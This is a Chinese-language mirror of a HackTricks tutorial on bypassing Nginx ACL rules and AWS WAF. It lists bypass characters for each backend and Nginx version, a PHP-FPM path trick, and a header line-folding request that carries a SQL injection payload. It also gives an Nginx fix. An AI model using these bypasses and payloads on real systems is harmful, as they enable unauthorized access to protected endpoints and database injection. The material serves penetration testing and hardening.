mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
5.9 KiB
5.9 KiB
代理 / WAF 保护绕过
从零开始学习 AWS 黑客技术,成为 htARTE (HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果您希望在 HackTricks 中看到您的公司广告 或 下载 HackTricks 的 PDF,请查看订阅计划!
- 获取 官方 PEASS & HackTricks 商品
- 发现 PEASS 家族,我们独家的 NFT 集合
- 加入 💬 Discord 群组 或 telegram 群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。
绕过 Nginx ACL 规则
Nginx 限制示例:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
NodeJS
- 由于Nginx将字符
\xa0
包含在路径名中,因此不会触发对/admin
URI的ACL规则。结果,Nginx将HTTP消息转发到后端; - 当Node.js服务器收到URI
/admin\x0a
时,将删除字符\xa0
,允许成功检索/admin
端点。
Nginx版本 | Node.js绕过字符 |
---|---|
1.22.0 | \xA0 |
1.21.6 | \xA0 |
1.20.2 | \xA0 , \x09 , \x0C |
1.18.0 | \xA0 , \x09 , \x0C |
1.16.1 | \xA0 , \x09 , \x0C |
Flask
Flask会从URL路径中移除字符\x85
, \xA0
, \x1F
, \x1E
, \x1D
, \x1C
, \x0C
, \x0B
和\x09
,但NGINX不会。
Nginx版本 | Flask绕过字符 |
---|---|
1.22.0 | \x85 , \xA0 |
1.21.6 | \x85 , \xA0 |
1.20.2 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.18.0 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.16.1 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
Spring Boot
以下是通过在路径名末尾添加字符\x09
或的ACL保护绕过演示:
Nginx版本 | Spring Boot绕过字符 |
---|---|
1.22.0 | ; |
1.21.6 | ; |
1.20.2 | \x09 , ; |
1.18.0 | \x09 , ; |
1.16.1 | \x09 , ; |
PHP-FPM
考虑以下Nginx FPM配置:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
可以通过访问 /admin.php/index.php
来绕过它:
如何防止
为了防止这些问题,你必须在 Nginx ACL 规则中使用 ~
表达式而不是 =
表达式,例如:
COPYCOPY
location ~* ^/admin {
deny all;
}
绕过 AWS WAF ACL 的行折叠技术
通过使用以下语法,可以在HTTP头中绕过AWS WAF保护,AWS WAF将无法理解X-Query头包含的是sql注入负载,而后面的node服务器却能理解:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
参考资料
通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客攻击!
支持HackTricks的其他方式:
- 如果您希望在HackTricks中看到您的公司广告或下载HackTricks的PDF,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。